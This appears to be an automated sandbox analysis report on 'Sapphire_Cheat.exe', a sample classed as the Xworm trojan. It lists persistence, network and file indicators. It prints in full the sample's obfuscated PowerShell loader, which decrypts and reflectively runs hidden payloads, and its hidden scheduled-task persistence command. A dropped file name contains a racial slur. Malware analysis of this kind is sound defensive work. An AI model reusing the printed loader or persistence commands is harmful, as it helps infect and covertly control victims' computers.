Analysis Overview
SHA256
10d0bc040ee80b2e5e4043dbc65a8f3201949e6266a603426d6a4a93e56526a2
Threat Level: Known bad
The file Sapphire_Cheat.exe was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Drops startup file
Adds Run key to start application
Looks up external IP address via web service
Unsigned PE
Enumerates physical storage devices
Modifies registry class
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-11 00:49
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-11 00:49
Reported
2024-06-11 00:52
Platform
win10-20240404-en
Max time kernel
143s
Max time network
135s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NotXworm.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NotXworm.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\NotXworm = "C:\\Users\\Admin\\AppData\\Roaming\\NotXworm.exe" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\Sapphire_Cheat.exe
"C:\Users\Admin\AppData\Local\Temp\Sapphire_Cheat.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\niggacheat.bat" "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JCHq0TpqGF7EnAC4yVd1LCySA/2g/tnOXa6zPxxnzbQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5u8YMNuJECqdIJHAPo/yZA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $clTRr=New-Object System.IO.MemoryStream(,$param_var); $HzMen=New-Object System.IO.MemoryStream; $hkhtA=New-Object System.IO.Compression.GZipStream($clTRr, [IO.Compression.CompressionMode]::Decompress); $hkhtA.CopyTo($HzMen); $hkhtA.Dispose(); $clTRr.Dispose(); $HzMen.Dispose(); $HzMen.ToArray();}function execute_function($param_var,$param2_var){ $EPWXz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vYKJh=$EPWXz.EntryPoint; $vYKJh.Invoke($null, $param2_var);}$roqwh = 'C:\Users\Admin\AppData\Local\Temp\niggacheat.bat';$host.UI.RawUI.WindowTitle = $roqwh;$MLGbx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($roqwh).Split([Environment]::NewLine);foreach ($dLxpL in $MLGbx) { if ($dLxpL.StartsWith(':: ')) { $gKZmQ=$dLxpL.Substring(3); break; }}$payloads_var=[string[]]$gKZmQ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_828_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_828.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_828.vbs"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_828.bat" "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JCHq0TpqGF7EnAC4yVd1LCySA/2g/tnOXa6zPxxnzbQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5u8YMNuJECqdIJHAPo/yZA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $clTRr=New-Object System.IO.MemoryStream(,$param_var); $HzMen=New-Object System.IO.MemoryStream; $hkhtA=New-Object System.IO.Compression.GZipStream($clTRr, [IO.Compression.CompressionMode]::Decompress); $hkhtA.CopyTo($HzMen); $hkhtA.Dispose(); $clTRr.Dispose(); $HzMen.Dispose(); $HzMen.ToArray();}function execute_function($param_var,$param2_var){ $EPWXz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vYKJh=$EPWXz.EntryPoint; $vYKJh.Invoke($null, $param2_var);}$roqwh = 'C:\Users\Admin\AppData\Roaming\startup_str_828.bat';$host.UI.RawUI.WindowTitle = $roqwh;$MLGbx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($roqwh).Split([Environment]::NewLine);foreach ($dLxpL in $MLGbx) { if ($dLxpL.StartsWith(':: ')) { $gKZmQ=$dLxpL.Substring(3); break; }}$payloads_var=[string[]]$gKZmQ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.134.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | 233.134.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp | |
| US | 8.8.8.8:53 | 94.65.42.20.in-addr.arpa | udp |
| N/A | 127.0.0.1:14614 | tcp | |
| N/A | 127.0.0.1:14614 | tcp |
Files
memory/2304-0-0x000000007393E000-0x000000007393F000-memory.dmp
memory/2304-1-0x0000000000EA0000-0x0000000000EA8000-memory.dmp
memory/2304-2-0x0000000073930000-0x000000007401E000-memory.dmp
memory/2304-7-0x0000000073930000-0x000000007401E000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\niggacheat.bat
| MD5 | 017ceb766e657e7b5df388954b1fc8a7 |
| SHA1 | 00c68f42a8b1785f4dcf038ab22f340c422ffc7c |
| SHA256 | a2ca31a9490a5b2d9c5d53e7eba9aaecab76ab73a74138bb9bb4c29041abcd26 |
| SHA512 | 9dcc3a0409a03bf5b3e00b390cbadb6de09e8709ac041822676beab6b707d76b1f2564c8c89768239c3b695610eaabf554a7c87ba1d40d8bf5276a6a0ca11416 |
memory/3000-11-0x0000000005300000-0x0000000005336000-memory.dmp
memory/3000-12-0x00000000738A0000-0x0000000073995000-memory.dmp
memory/3000-13-0x0000000007B60000-0x0000000008188000-memory.dmp
memory/3000-14-0x0000000007A20000-0x0000000007A42000-memory.dmp
memory/3000-15-0x0000000007AC0000-0x0000000007B26000-memory.dmp
memory/3000-16-0x0000000008190000-0x00000000081F6000-memory.dmp
memory/3000-17-0x00000000083E0000-0x0000000008730000-memory.dmp
memory/3000-20-0x0000000008260000-0x000000000827C000-memory.dmp
memory/3000-21-0x00000000089E0000-0x0000000008A2B000-memory.dmp
memory/3000-22-0x0000000008AE0000-0x0000000008B56000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_myel0auc.52o.ps1
| MD5 | c4ca4238a0b923820dcc509a6f75849b |
| SHA1 | 356a192b7913b04c54574d18c28d46e6395428ab |
| SHA256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| SHA512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
memory/3000-33-0x00000000738A0000-0x0000000073995000-memory.dmp
memory/3000-38-0x000000000A2E0000-0x000000000A958000-memory.dmp
memory/3000-39-0x0000000009880000-0x000000000989A000-memory.dmp
memory/3000-40-0x00000000098A0000-0x00000000098A8000-memory.dmp
memory/3000-41-0x0000000009B70000-0x0000000009C0C000-memory.dmp
memory/3000-52-0x0000000009C70000-0x0000000009CA4000-memory.dmp
memory/3000-53-0x000000000A960000-0x000000000AE5E000-memory.dmp
memory/448-79-0x0000000009400000-0x0000000009433000-memory.dmp
memory/448-80-0x0000000070580000-0x00000000705CB000-memory.dmp
memory/448-81-0x00000000093E0000-0x00000000093FE000-memory.dmp
memory/448-86-0x0000000009580000-0x0000000009625000-memory.dmp
memory/448-87-0x0000000009720000-0x00000000097B4000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | a5c560518e17be14e634ae4cdb0663d5 |
| SHA1 | 12efaf6a89f0d1983d498a2ef1ec02de5f8aac2e |
| SHA256 | dfea12dd5e654b338327c6c5ceb1f0711af21fba47ed24b95b4d0314088c7161 |
| SHA512 | 4ffadc4c475d8cfb945d6c3bd63a0f538ed8eb84df1b5bc05d8b5773948ab0c059029402cdc5965a776426ee46f0a8cfc6eb5e97abc97f8442e48f9c0c842851 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
| MD5 | a8641a2f94483f12ba0cad0cf02a3bc7 |
| SHA1 | fae3e6835336154b90503431279eef6c52a289d2 |
| SHA256 | ce70f1a4578b12964dde1e1eef8cb1948847230bf3458dfd41f8e2c32c71c24d |
| SHA512 | 5c92772168461d15ef6ed7b5ab2103cb63acfb1540d2d56610bbdd4a3494e866e47a225f6c7a42fa31f9170495dcddfad24533711289a6c3bfa5857a376b3e62 |
C:\Users\Admin\AppData\Roaming\startup_str_828.vbs
| MD5 | 18e4086a4c0870437876e125d720c827 |
| SHA1 | 6f984d870e3c7af4583481389ea2c0f186d220fa |
| SHA256 | 80085545d24ff829b7aee0ae8310a9e55aec7ae59dad078e574dd885bc6eb549 |
| SHA512 | 04d96d55e9d4484c8a6a9fa7edab9c0a3ba82ac50ac471a9bdbbd9021e6eb2730e4472ff93aa55a640d25f5979c5d0b91157d35e0cd1b5c2bd8112382ae8522f |
memory/4640-220-0x0000000009030000-0x0000000009064000-memory.dmp
memory/4640-223-0x0000000009060000-0x0000000009070000-memory.dmp
memory/3000-227-0x00000000738A0000-0x0000000073995000-memory.dmp
memory/4640-232-0x0000000009640000-0x00000000096D2000-memory.dmp
memory/4640-233-0x0000000007A20000-0x0000000007A2A000-memory.dmp